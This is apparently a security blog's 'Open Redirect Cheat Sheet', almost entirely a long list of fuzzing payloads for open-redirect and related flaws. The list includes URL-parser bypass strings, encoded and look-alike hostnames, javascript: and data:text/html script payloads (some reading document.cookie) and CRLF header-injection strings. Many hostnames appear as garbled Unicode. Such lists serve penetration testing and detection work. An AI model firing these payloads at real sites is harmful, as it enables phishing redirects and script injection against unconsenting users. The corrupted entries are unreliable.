Sponsored by

Open Redirect Cheat Sheet

Posted in Cheatsheets on November 2, 2018

Open Redirect Cheat Sheet

Hi, this is a cheat sheet for Open redirect vulnerabilities.

It’s a first draft. I will update it every time I find a new payload, tip or writeup. So if you’re interested in open redirects, keep an eye on this page!

Fuzzing (Detection)

Open redirect payloads

Payloads to detect open redirection:

<>//β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
//;@β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
/////β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/
/////β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
////β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦//
////β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/
///\;@β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
///β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦//
///β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/
///β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
//\/β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/
//β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦//
//β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/
//β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
/.β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
/\/β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/
/γ€±β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
.β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
@β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
\/\/β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/
γ€±β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
//β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒ%00qPⓦ
%01https://β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
%01https://google.com
////%09/β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
///%09/β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
//%09/β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
/%09/β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
////%09/google.com
///%09/google.com
//%09/google.com
/%09/google.com
/%09/javascript:alert(1);
/%09/javascript:alert(1)
////%09/whitelisted.com@β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
///%09/whitelisted.com@β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
//%09/whitelisted.com@β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
/%09/whitelisted.com@β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
////%09/[email protected]
///%09/[email protected]
//%09/[email protected]
/%09/[email protected]
&%0d%0a1Location:https://google.com
\152\141\166\141\163\143\162\151\160\164\072alert(1)
%19Jav%09asc%09ript:https%20://whitelisted.com/%250Aconfirm%25281%2529
////216.58.214.206
///216.58.214.206
//216.58.214.206
/\216.58.214.206
/216.58.214.206
216.58.214.206
////β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2e%2e
///β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2e%2e
////β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2e%2e%2f
///β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2e%2e%2f
//β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2e%2e%2f
////β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2f..
///β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2f..
//β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2f..
%2f216.58.214.206//
%2f216.58.214.206
%2f216.58.214.206%2f%2f
////β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2f%2e%2e
///β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2f%2e%2e
//β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2f%2e%2e
/β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2f%2e%2e
//%2f%2fβ“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
/%2f%2fβ“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
%2f$2f216.58.214.206
$2f%2f216.58.214.206%2f%2f
%2f$2f3627734734
$2f%2f3627734734%2f%2f
//%2f%2fgoogle.com
/%2f%2fgoogle.com
$2f%2fgoogle.com
%2f$2fgoogle.com
$2f%2fgoogle.com%2f%2f
%2f3627734734//
%2f3627734734
%2f3627734734%2f%2f
/%2f%5c%2f%67%6f%6f%67%6c%65%2e%63%6f%6d/
/%2f%5c%2f%6c%6f%63%61%6c%64%6f%6d%61%69%6e%2e%70%77/
%2fgoogle.com//
%2fgoogle.com
%2fgoogle.com%2f%2f
////3627734734
///3627734734
//3627734734
/\3627734734
/3627734734
3627734734
//[email protected]@β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/
//[email protected]+@β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/
//[email protected]@google.com/
//[email protected][email protected]/
////%5cβ“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
///%5cβ“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
//%5cβ“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
/%5cβ“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
////%5cgoogle.com
///%5cgoogle.com
//%5cgoogle.com
/%5cgoogle.com
//%5cjavascript:alert(1);
//%5cjavascript:alert(1)
/%5cjavascript:alert(1);
/%5cjavascript:alert(1)
////%5cwhitelisted.com@β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
///%5cwhitelisted.com@β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
//%5cwhitelisted.com@β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
/%5cwhitelisted.com@β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
////%[email protected]
///%[email protected]
//%[email protected]
/%[email protected]
/%68%74%74%70%3a%2f%2f%67%6f%6f%67%6c%65%2e%63%6f%6d
%68%74%74%70%3a%2f%2f%67%6f%6f%67%6c%65%2e%63%6f%6d
%68%74%74%70%73%3a%2f%2f%6c%6f%63%61%6c%64%6f%6d%61%69%6e%2e%70%77
//β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦:[email protected]/
//β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦:80#@whitelisted.com/
";alert(0);//
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+Cg==
data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik8L3NjcmlwdD4=
data:whitelisted.com;text/html;charset=UTF-8,<html><script>document.write(document.domain);</script><iframe/src=xxxxx>aaaa</iframe></html>
//β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒ%E3%80%82pw
//google%00.com
/\google%252ecom
google%252ecom
<>//google.com
/<>//google.com
//;@google.com
///;@google.com
/////google.com/
/////google.com
////\;@google.com
////google.com//
////google.com/
////google.com
///\;@google.com
///google.com//
///google.com/
///google.com
//\/google.com/
//\google.com
//google.com//
//google.com/
//google.com
/.google.com
/\/\/google.com/
/\/google.com/
/\/google.com
/\google.com
/γ€±google.com
/google.com
../google.com
.google.com
@google.com
\/\/google.com/
γ€±google.com
google.com
google.com%[email protected]
////google.com/%2e%2e
///google.com/%2e%2e
//google.com/%2e%2e
/google.com/%2e%2e
//google.com/%2E%2E
////google.com/%2e%2e%2f
///google.com/%2e%2e%2f
//google.com/%2e%2e%2f
////google.com/%2f..
///google.com/%2f..
//google.com/%2f..
//google.com/%2F.. 
/google.com/%2F.. 
////google.com/%2f%2e%2e
///google.com/%2f%2e%2e
//google.com/%2f%2e%2e
/google.com/%2f%2e%2e
//google.com//%2F%2E%2E
//google.com:[email protected]/
//google.com:80#@whitelisted.com/
google.com/.jpg
//google.com\twhitelisted.com/
//google.com/whitelisted.com
//google.com\@whitelisted.com
google.com/whitelisted.com
//google%E3%80%82com
/http://β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
/http:/β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
http://;@β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
http://.β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
http:/β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
http:β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
http://00330.00072.0000326.00000316
http:00330.00072.0000326.00000316
http://00330.0x3a.54990
http:00330.0x3a.54990
http://00330.3856078
http:00330.3856078
http://0330.072.0326.0316
http:0330.072.0326.0316
http:%0a%0dβ“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
http:%0a%0dgoogle.com
http://0xd8.072.54990
http:0xd8.072.54990
http://0xd8.0x3a.0xd6.0xce
http:0xd8.0x3a.0xd6.0xce
http://0xd8.3856078
http:0xd8.3856078
http://0xd83ad6ce
http:0xd83ad6ce
http://[::216.58.214.206]
http:[::216.58.214.206]
http://β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦%23.whitelisted.com/
http://β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦%2f%2f.whitelisted.com/
http://3627734734
http:3627734734
http://β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦%3F.whitelisted.com/
http://[email protected]
http:[email protected]
http://[email protected]
http:[email protected]
http://[email protected]
http:[email protected]
http://[email protected]
http:[email protected]
http://[email protected]
http:[email protected]
http://[email protected]
http:[email protected]
http://[email protected]
http:[email protected]
http://3H6k7lIAiqjfNeN@0xd83ad6ce
http:3H6k7lIAiqjfNeN@0xd83ad6ce
http://3H6k7lIAiqjfNeN@[::216.58.214.206]
http:3H6k7lIAiqjfNeN@[::216.58.214.206]
http://3H6k7lIAiqjfNeN@3627734734
http:3H6k7lIAiqjfNeN@3627734734
http://[email protected]
http:[email protected]
http://3H6k7lIAiqjfNeN@[::ffff:216.58.214.206]
http:3H6k7lIAiqjfNeN@[::ffff:216.58.214.206]
http://[email protected]@β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/
http://[email protected]+@β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/
http://[email protected]@google.com/
http://[email protected][email protected]/
http://472.314.470.462
http:472.314.470.462
http://β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦%5c%5c.whitelisted.com/
/http://%67%6f%6f%67%6c%65%2e%63%6f%6d
http://%67%6f%6f%67%6c%65%2e%63%6f%6d
http://β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦:[email protected]/
http://β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦:80#@whitelisted.com/
http://[::ffff:216.58.214.206]
http:[::ffff:216.58.214.206]
/http://google.com
/http:/google.com
http://;@google.com
http://.google.com
http://google.com
http:/\/\google.com
http:/google.com
http:google.com
http://google.com%23.whitelisted.com/
http://google.com%2f%2f.whitelisted.com/
http://google.com%3F.whitelisted.com/
http://google.com%5c%5c.whitelisted.com/
http://google.com:[email protected]/
http://google.com:80#@whitelisted.com/
http://google.com\twhitelisted.com/
//https://β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦//
/https://β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/
https://β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦//
https://β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/
https://β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
https:β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
https://%09/β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
/https://%09/google.com
https://%09/google.com
https://%09/whitelisted.com@β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
https://%09/[email protected]
https://%0a%0dβ“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
https://%0a%0dgoogle.com
//https:///β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2e%2e
/https://β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2e%2e
https:///β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2e%2e
//https://β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2e%2e%2f
https://β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2e%2e%2f
/https://β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2f..
https://β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2f..
/https:///β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2f%2e%2e
/https://β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2f%2e%2e
https:///β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2f%2e%2e
https://β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2f%2e%2e
https%3a%2f%2fgoogle.com%2f
/https://%5cβ“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
/https:/%5cβ“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/
https://%5cβ“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
https:/%5cβ“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/
/https://%5cgoogle.com
/https:/%5cgoogle.com/
https://%5cgoogle.com
https:/%5cgoogle.com/
/https://%5cwhitelisted.com@β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
https://%5cwhitelisted.com@β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
/https://%[email protected]
https://%[email protected]
https://%6c%6f%63%61%6c%64%6f%6d%61%69%6e%2e%70%77
//https://google.com//
/https://google.com//
/https://google.com/
/https://google.com
/https:google.com
https://////google.com
https://google.com//
https://google.com/
https://google.com
https:/\google.com
https:google.com
//https:///google.com/%2e%2e
/https://google.com/%2e%2e
https:///google.com/%2e%2e
//https://google.com/%2e%2e%2f
https://google.com/%2e%2e%2f
/https://google.com/%2f..
https://google.com/%2f..
/https:///google.com/%2f%2e%2e
/https://google.com/%2f%2e%2e
https:///google.com/%2f%2e%2e
https://google.com/%2f%2e%2e
https://:@google.com\@whitelisted.com
https://google.com?whitelisted.com
https://google.com/whitelisted.com
https://google.com\whitelisted.com
https://google.com#whitelisted.com
https://google%E3%80%82com
//https://whitelisted.com@β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦//
/https://whitelisted.com@β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/
https://:@β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦\@whitelisted.com
https://β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/whitelisted.com
https://whitelisted.com;@β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
https://whitelisted.com@β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦//
https://whitelisted.com@β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/
https://whitelisted.com@β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
/https://whitelisted.com@β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2e%2e
https:///whitelisted.com@β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2e%2e
//https://whitelisted.com@β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2e%2e%2f
https://whitelisted.com@β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2e%2e%2f
/https://whitelisted.com@β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2f..
https://whitelisted.com@β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2f..
/https:///whitelisted.com@β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2f%2e%2e
/https://whitelisted.com@β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2f%2e%2e
https:///whitelisted.com@β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2f%2e%2e
https://whitelisted.com@β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2f%2e%2e
//https://[email protected]//
/https://[email protected]/
https://whitelisted.com;@google.com
https://whitelisted.com.google.com
https://[email protected]//
https://[email protected]/
https://[email protected]
/https://[email protected]/%2e%2e
https:///[email protected]/%2e%2e
//https://[email protected]/%2e%2e%2f
https://[email protected]/%2e%2e%2f
/https://[email protected]/%2f..
https://[email protected]/%2f..
/https:///[email protected]/%2f%2e%2e
/https://[email protected]/%2f%2e%2e
https:///[email protected]/%2f%2e%2e
https://[email protected]/%2f%2e%2e
/https://[email protected]/%2f.//[email protected]/%2f..
https://whitelisted.com/https://β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/
https://whitelisted.com/https://google.com/
@https://www.google.com
http://β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦\twhitelisted.com/
http://[email protected]
http:[email protected]
http://[email protected]
http:[email protected]
http://[email protected]
http:[email protected]
http://[email protected]
http:[email protected]
http://[email protected]
http:[email protected]
http://[email protected]
http:[email protected]
http://[email protected]
http:[email protected]
http://whitelisted.com@0xd83ad6ce
http:whitelisted.com@0xd83ad6ce
http://whitelisted.com@[::216.58.214.206]
http:whitelisted.com@[::216.58.214.206]
http://whitelisted.com%2eβ“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/
http://whitelisted.com%2egoogle.com/
http://whitelisted.com@3627734734
http:whitelisted.com@3627734734
http://[email protected]
http:[email protected]
http://whitelisted.com:80%40β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/
http://whitelisted.com:80%40google.com/
http://whitelisted.com@[::ffff:216.58.214.206]
http:whitelisted.com@[::ffff:216.58.214.206]
http://[email protected]/
http://whitelisted.com+&@google.com#[email protected]/
http://whitelisted.com+&@β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦#[email protected]/
http://www.google.com\.whitelisted.com
http://www.β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦\.whitelisted.com
http://XY>.7d8T\[email protected]
http:XY>.7d8T\[email protected]
http://XY>.7d8T\[email protected]
http:XY>.7d8T\[email protected]
http://XY>.7d8T\[email protected]
http:XY>.7d8T\[email protected]
http://XY>.7d8T\[email protected]
http:XY>.7d8T\[email protected]
http://XY>.7d8T\[email protected]
http:XY>.7d8T\[email protected]
http://XY>.7d8T\[email protected]
http:XY>.7d8T\[email protected]
http://XY>.7d8T\[email protected]
http:XY>.7d8T\[email protected]
http://XY>.7d8T\205pZM@0xd83ad6ce
http:XY>.7d8T\205pZM@0xd83ad6ce
http://XY>.7d8T\205pZM@[::216.58.214.206]
http:XY>.7d8T\205pZM@[::216.58.214.206]
http://XY>.7d8T\205pZM@3627734734
http:XY>.7d8T\205pZM@3627734734
http://XY>.7d8T\[email protected]
http:XY>.7d8T\[email protected]
http://XY>.7d8T\205pZM@[::ffff:216.58.214.206]
http:XY>.7d8T\205pZM@[::ffff:216.58.214.206]
http://XY>.7d8T\[email protected]@β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/
http://XY>.7d8T\[email protected]+@β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/
http://XY>.7d8T\[email protected]@google.com/
http://XY>.7d8T\[email protected][email protected]/
ja\nva\tscript\r:alert(1)
java%09script:alert(1)
java%0ascript:alert(1)
java%0d%0ascript%0d%0a:alert(0)
java%0dscript:alert(1)
Javas%26%2399;ript:alert(1)
javascript://%0aalert(1)
<>javascript:alert(1);
//javascript:alert(1);
//javascript:alert(1)
/javascript:alert(1);
/javascript:alert(1)
\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)
javascript:alert(1);
javascript:alert(1)
javascripT://anything%0D%0A%0D%0Awindow.alert(document.cookie)
javascript:confirm(1)
javascript://https://whitelisted.com/?z=%0Aalert(1)
javascript:prompt(1)
jaVAscript://whitelisted.com//%0d%0aalert(1);//
javascript://whitelisted.com?%a0alert%281%29
//β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦\twhitelisted.com/
\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003aalert(1)
////whitelisted.com@β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦//
////whitelisted.com@β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/
///whitelisted.com@β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦//
///whitelisted.com@β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/
//β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/whitelisted.com
//β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦\@whitelisted.com
//whitelisted.com@β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦//
//whitelisted.com@β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/
β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/whitelisted.com
whitelisted.com;@β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦
////whitelisted.com@β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2e%2e
///whitelisted.com@β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2e%2e
////whitelisted.com@β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2e%2e%2f
///whitelisted.com@β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2e%2e%2f
//whitelisted.com@β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2e%2e%2f
////whitelisted.com@β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2f..
///whitelisted.com@β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2f..
//whitelisted.com@β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2f..
////whitelisted.com@β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2f%2e%2e
///whitelisted.com@β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2f%2e%2e
//whitelisted.com@β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2f%2e%2e
/\whitelisted.com:80%40google.com
whitelisted.com@%E2%80%[email protected]
////[email protected]//
////[email protected]/
///[email protected]//
///[email protected]/
//[email protected]//
//[email protected]/
whitelisted.com;@google.com
whitelisted.com.google.com
////[email protected]/%2e%2e
///[email protected]/%2e%2e
////[email protected]/%2e%2e%2f
///[email protected]/%2e%2e%2f
//[email protected]/%2e%2e%2f
////[email protected]/%2f..
///[email protected]/%2f..
//[email protected]/%2f..
////[email protected]/%2f%2e%2e
///[email protected]/%2f%2e%2e
//[email protected]/%2f%2e%2e
//whitelisted.com+&@google.com#[email protected]/
//whitelisted.com@https:///β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/%2e%2e
//whitelisted.com@https:///google.com/%2e%2e
//whitelisted.com+&@β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦#[email protected]/
/x:1/:///%01javascript:alert(document.cookie)/
\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3aalert(1)
